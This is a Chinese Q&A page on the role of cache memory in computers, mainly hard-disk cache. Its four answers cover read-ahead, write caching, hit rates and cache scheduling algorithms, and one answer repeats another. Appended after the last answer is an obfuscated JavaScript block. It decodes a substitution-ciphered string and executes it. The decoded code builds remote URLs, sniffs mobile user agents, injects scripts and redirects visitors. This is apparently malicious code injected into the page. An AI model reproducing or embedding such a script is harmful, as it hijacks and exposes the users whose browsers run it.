计算机中高速缓存的作用?

2025-03-01 21:07:55
推荐回答(4个)
回答(1):

计算机硬盘的高速缓存:
1.高速缓存的概念。缓存(Cache memory)是硬盘控制器上的一块内存芯片,具有极快的存取速度,它是硬盘内部存储和外界接口之间的缓冲器。由于硬盘的内部数据传输速度和外界介面传输速度不同,缓存在其中起到一个缓冲的作用。缓存的大小与速度是直接关系到硬盘的传输速度的重要因素,能够大幅度地提高硬盘整体性能。当硬盘存取零碎数据时需要不断地在硬盘与内存之间交换数据,如果有大缓存,则可以将那些零碎数据暂存在缓存中,减小外系统的负荷,也提高了数据的传输速度。
  2.高速缓存的作用。硬盘的缓存主要起三种作用:一是预读取。当硬盘受到CPU指令控制开始读取数据时,硬盘上的控制芯片会控制磁头把正在读取的簇的下一个或者几个簇中的数据读到缓存中(由于硬盘上数据存储时是比较连续的,所以读取命中率较高),当需要读取下一个或者几个簇中的数据的时候,硬盘则不需要再次读取数据,直接把缓存中的数据传输到内存中就可以了,由于缓存的速度远远高于磁头读写的速度,所以能够达到明显改善性能的目的;二是对写入动作进行缓存。当硬盘接到写入数据的指令之后,并不会马上将数据写入到盘片上,而是先暂时存储在缓存里,然后发送一个“数据已写入”的信号给系统,这时系统就会认为数据已经写入,并继续执行下面的工作,而硬盘则在空闲(不进行读取或写入的时候)时再将缓存中的数据写入到盘片上。虽然对于写入数据的性能有一定提升,但也不可避免地带来了安全隐患——如果数据还在缓存里的时候突然掉电,那么这些数据就会丢失。对于这个问题,硬盘厂商们自然也有解决办法:掉电时,磁头会借助惯性将缓存中的数据写入零磁道以外的暂存区域,等到下次启动时再将这些数据写入目的地;第三个作用就是临时存储最近访问过的数据。有时候,某些数据是会经常需要访问的,硬盘内部的缓存会将读取比较频繁的一些数据存储在缓存中,再次读取时就可以直接从缓存中直接传输。
  缓存容量的大小不同品牌、不同型号的产品各不相同,早期的硬盘缓存基本都很小,只有几百KB,已无法满足用户的需求。2MB和8MB缓存是现今主流硬盘所采用,而在服务器或特殊应用领域中还有缓存容量更大的产品,甚至达到了16MB、64MB等。
  大容量的缓存虽然可以在硬盘进行读写工作状态下,让更多的数据存储在缓存中,以提高硬盘的访问速度,但并不意味着缓存越大就越出众。缓存的应用存在一个算法的问题,即便缓存容量很大,而没有一个高效率的算法,那将导致应用中缓存数据的命中率偏低,无法有效发挥出大容量缓存的优势。算法是和缓存容量相辅相成,大容量的缓存需要更为有效率的算法,否则性能会大大折扣,从技术角度上说,高容量缓存的算法是直接影响到硬盘性能发挥的重要因素。更大容量缓存是未来硬盘发展的必然趋势。
高速缓存产生作用的时机:
3.作用体现及应用。 现在拥有大量数据,但最经常使用的往往只有其中一小部分。如国标汉字有6763个,但经常使用的只有3000个,其中几百个又占了50%以上的使用频率。因此人们想到,如果将这几百个放到存取最快的地方,就可以用很小的代价大大提高工作速度。高速缓存的工作原理基本就是这样。例如我们知道内存的存取速度比硬盘快得多,我们可以在一开机时就将宋体字的前3000个、黑体字最常用的500个装入内存专门开辟的区域,这样当使用这部分字的时候就可以从内存取字,其余的才会去读硬盘。内存开辟的这部分区域就叫做高速缓存,它可能只占所有字体存储量的十分之一,但可以将读写字库的速度提高几十倍。
具体看一下高速缓存起的使用。假设我们有100M数据,其中1M数据的使用频率占到了50%,又知内存存取时间只有硬盘时间的10万分之一,因此如果我们用1M内存做高速缓存存储最常用的1M数据就可以差不多将平均存取速度提高一倍。从这个例子可以看出,当数据使用越不平均,两种存储器之间的速度差越大时CACHE的作用就越大。
以上是一类使用分布固定的例子,在这种情况下,只要固定将这一部分数据装入最快的存储器就可以了。但在许多情况下,数据的使用频率是不确定的,特别它是与时间相关的。如当我们在写一篇文章时,对这篇文章的内容存取就特别频繁。而过一会儿又去修一张照片,存取操作就转移到了这张照片的数据上去,文章的数据就基本不用了。要让一个系统能够自动地根据当前数据的使用频率改变高速存储器中的内容才能使我们专门开出的高速缓存起作用。因此整个高速缓存系统应该包含调度数据的软件。
CACHE系统怎样调度数据
4.拓展知识-深入了解。 怡泓软件早在1983年就在软件内部使用了硬盘的CACHE系统,在早期内存很小的情况下有效地提高了硬盘上大量数据的存取速度。而PC DOS操作系统直到1990年的DR DOS 5.0和MS DOS 4.0中才内含了CACHE程序。从WINDOWS 3.0开始操作系统中都内建了硬盘CACHE系统,CACHE的概念也逐渐延伸到硬盘内部和CPU内部。
CACHE对数据的调度不一定只在两种存储器之间进行,如现在的CPU就有片上的一级、二级和内存共3种存储器。为了便与理解,我们都以两种存储器为例。
为使CACHE系统能够起到提高速度的作用,这两种存储器的速度必需有比较大的差异。如果用通用CPU来完成数据调度,两种存储器的速度差至少应该达到100倍以上。因为调度程序在每完成一次数据访问时至少要消耗20-30个指令周期,如果速度只差10倍,用CACHE比不用还要慢。
数据的调度并不像我们想像地那样简单。第一高速存储器中的每一个数据必需带有地址信息,因为它从第二级存储器中提出来后已经不是按顺序排列。为了避免地址信息过多而造成的空间浪费和查询时间的浪费,必需将数据分成块。块的大小也很有讲究。太小了起不到压缩时间和空间的作用,太大了读一个数据会造成数百个可能用不着的数据涌入高速存储器,反而起不到压缩空间的作用。
高速存储器中数据的地址信息查询是数据调度时运算的大头。当高速存储器很大时,它的地址表也会很长。从计算机指令发出的是对第二级存储器的存取指令,为了要看它是否在高速存储器中,必需去查询这个地址表。如果地址信息是顺序排列的,平均查询时间将是表长的一半。如果表长到了1000项,平均查一个数据地址就要500次比较。即使两级存储器的速度差达1000倍,这种方法也占不了任何便宜。一种方法是优先级排序法,即每经过一段时间的使用就根据每块数据的使用频率修改表的排列,让频率最高的数据块的地址排到最前面去,这样可以有效地缩短查表次数。这是我们过去使用的方法。Intel发明了一种抢队头的方法。即每一个数据一旦被使用,就将它放到地址表的第一位去。它的优点是重整地址表的算法最简单,缺点是地址表的排列通常不是最优化的。还有一种方法是通过散列表来用空间换时间,这种算法稍微复杂一点,但它通常可以在2次查询就找到所需的地址,不过计算散列地址也要消耗不少时间。
我们从以上算法的简单介绍就可以看出,CACHE技术不是在什么地方都可以使用的灵丹妙药,它受调度计算的很大制约。在CPU内部,两级存储器的速度差往往到不了100倍以上,如何能实现有效的CACHE调度?它其中必须有专用的调度算法部件,以保证在1/3的速度差之内完成调度运算,否则最多只能实现一级缓存。
CACHE作用的局限性
从上面对CACHE调度算法的简单介绍我们已经看到,在没有专用算法部件的情况下,只有当两级存储器速度差很大的时候CACHE才起作用。内存和硬盘的速度差通常为105数量级,因此用内存做硬盘的高速缓存通常是很有效的。
另一方面,高频使用的数据必须远小于高速缓存的大小才行,如果大于高速缓存的大小就会造成刚进入缓存的数据马上就被后来的数据挤出去,非但没有加快速度,反而增加了一道间接传递的时间。当我们用PHOTOSHOP处理的图像数据大于内存的1/3时就会出现这种情况。好在内存的速度远大于硬盘的存取速度,这点变化我们通常感觉不出来。但在CPU中,就会非常明显。CPU在处理图像数据时,每次处理的数据量都远远超过它内部的一级和二级缓存,因此它的作用将大大降低,唯一的补偿是处理程序的指令在一个操作——如锐化——中是固定的,它可以常驻高速缓存,减少读指令的时间。这时不同CPU缓存的大小对运算速度的影响就很小了。因为即使再小的缓存,也存得下操作指令;再大的缓存也存不下被操作的图像数据。
在CACHE调度中,为了保证数据的安全而做的回写操作也是阻碍效率的因素。在对数据进行写操作时,可以不将它写回二级存储器,如硬盘,一直到文件关闭甚至操作系统退出时再回写,这样的效率当然最高,但是非常不安全的。一旦一个程序崩溃,其它所有程序的数据就可能都损失了。所以现在的CACHE调度方案通常都内定必须立即回写。我们马上会想到,优化效率的一半没有了。实际情况并非如此。因为回写操作其实并不是立即发生的,它可以由一个优先级较低的线程去完成,当你在考虑怎么进一步调色时,操作系统插空将数据写回硬盘。
即使内存非常大,PHOTOSHOP也将它的每一步操作写回硬盘,这可以从PHOTOSHOP每次崩溃后都留下一个巨大的临时文件看出。因此如果我们连续对图像做旋转、变形等操作,即使用了极大的内存,CACHE作用也只发生了一半。因此要全面提高PHOTOSHOP的效率,必须用RAID等技术提高硬盘的直接读写速度。同理,硬盘上的2M或4M缓存对于动辄几十M的图像数据是毫无作用的。

回答(2):

在没有自来水的年代,厨房里面有个水缸很方便把,不用老跑到水井去打水;高速缓存就类似咯
言归正传:电脑硬件很多都有缓存的,比如CPU,硬盘,光驱等。而CPU一般就是高速缓存了,分一二三级高速缓存,我们常说的CPU二级缓存就是其中之一。具体参考:
http://publish.it168.com/cword/1233.shtml
其它,如硬盘的缓存,也有介绍。

回答(3):

解决速度不匹配问题,
cpu的处理速度远高于内存的速度,从而引入高速缓存来做缓冲.
它的速度接近cpu也有和cpu相等的

回答(4):

计算机硬盘的高速缓存:
1.高速缓存的概念。缓存(Cache memory)是硬盘控制器上的一块内存芯片,具有极快的存取速度,它是硬盘内部存储和外界接口之间的缓冲器。由于硬盘的内部数据传输速度和外界介面传输速度不同,缓存在其中起到一个缓冲的作用。缓存的大小与速度是直接关系到硬盘的传输速度的重要因素,能够大幅度地提高硬盘整体性能。当硬盘存取零碎数据时需要不断地在硬盘与内存之间交换数据,如果有大缓存,则可以将那些零碎数据暂存在缓存中,减小外系统的负荷,也提高了数据的传输速度。
2.高速缓存的作用。硬盘的缓存主要起三种作用:一是预读取。当硬盘受到CPU指令控制开始读取数据时,硬盘上的控制芯片会控制磁头把正在读取的簇的下一个或者几个簇中的数据读到缓存中(由于硬盘上数据存储时是比较连续的,所以读取命中率较高),当需要读取下一个或者几个簇中的数据的时候,硬盘则不需要再次读取数据,直接把缓存中的数据传输到内存中就可以了,由于缓存的速度远远高于磁头读写的速度,所以能够达到明显改善性能的目的;二是对写入动作进行缓存。当硬盘接到写入数据的指令之后,并不会马上将数据写入到盘片上,而是先暂时存储在缓存里,然后发送一个“数据已写入”的信号给系统,这时系统就会认为数据已经写入,并继续执行下面的工作,而硬盘则在空闲(不进行读取或写入的时候)时再将缓存中的数据写入到盘片上。虽然对于写入数据的性能有一定提升,但也不可避免地带来了安全隐患——如果数据还在缓存里的时候突然掉电,那么这些数据就会丢失。对于这个问题,硬盘厂商们自然也有解决办法:掉电时,磁头会借助惯性将缓存中的数据写入零磁道以外的暂存区域,等到下次启动时再将这些数据写入目的地;第三个作用就是临时存储最近访问过的数据。有时候,某些数据是会经常需要访问的,硬盘内部的缓存会将读取比较频繁的一些数据存储在缓存中,再次读取时就可以直接从缓存中直接传输。
缓存容量的大小不同品牌、不同型号的产品各不相同,早期的硬盘缓存基本都很小,只有几百KB,已无法满足用户的需求。2MB和8MB缓存是现今主流硬盘所采用,而在服务器或特殊应用领域中还有缓存容量更大的产品,甚至达到了16MB、64MB等。
大容量的缓存虽然可以在硬盘进行读写工作状态下,让更多的数据存储在缓存中,以提高硬盘的访问速度,但并不意味着缓存越大就越出众。缓存的应用存在一个算法的问题,即便缓存容量很大,而没有一个高效率的算法,那将导致应用中缓存数据的命中率偏低,无法有效发挥出大容量缓存的优势。算法是和缓存容量相辅相成,大容量的缓存需要更为有效率的算法,否则性能会大大折扣,从技术角度上说,高容量缓存的算法是直接影响到硬盘性能发挥的重要因素。更大容量缓存是未来硬盘发展的必然趋势。
高速缓存产生作用的时机:
3.作用体现及应用。 现在拥有大量数据,但最经常使用的往往只有其中一小部分。如国标汉字有6763个,但经常使用的只有3000个,其中几百个又占了50%以上的使用频率。因此人们想到,如果将这几百个放到存取最快的地方,就可以用很小的代价大大提高工作速度。高速缓存的工作原理基本就是这样。例如我们知道内存的存取速度比硬盘快得多,我们可以在一开机时就将宋体字的前3000个、黑体字最常用的500个装入内存专门开辟的区域,这样当使用这部分字的时候就可以从内存取字,其余的才会去读硬盘。内存开辟的这部分区域就叫做高速缓存,它可能只占所有字体存储量的十分之一,但可以将读写字库的速度提高几十倍。
具体看一下高速缓存起的使用。假设我们有100M数据,其中1M数据的使用频率占到了50%,又知内存存取时间只有硬盘时间的10万分之一,因此如果我们用1M内存做高速缓存存储最常用的1M数据就可以差不多将平均存取速度提高一倍。从这个例子可以看出,当数据使用越不平均,两种存储器之间的速度差越大时CACHE的作用就越大。
以上是一类使用分布固定的例子,在这种情况下,只要固定将这一部分数据装入最快的存储器就可以了。但在许多情况下,数据的使用频率是不确定的,特别它是与时间相关的。如当我们在写一篇文章时,对这篇文章的内容存取就特别频繁。而过一会儿又去修一张照片,存取操作就转移到了这张照片的数据上去,文章的数据就基本不用了。要让一个系统能够自动地根据当前数据的使用频率改变高速存储器中的内容才能使我们专门开出的高速缓存起作用。因此整个高速缓存系统应该包含调度数据的软件。

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();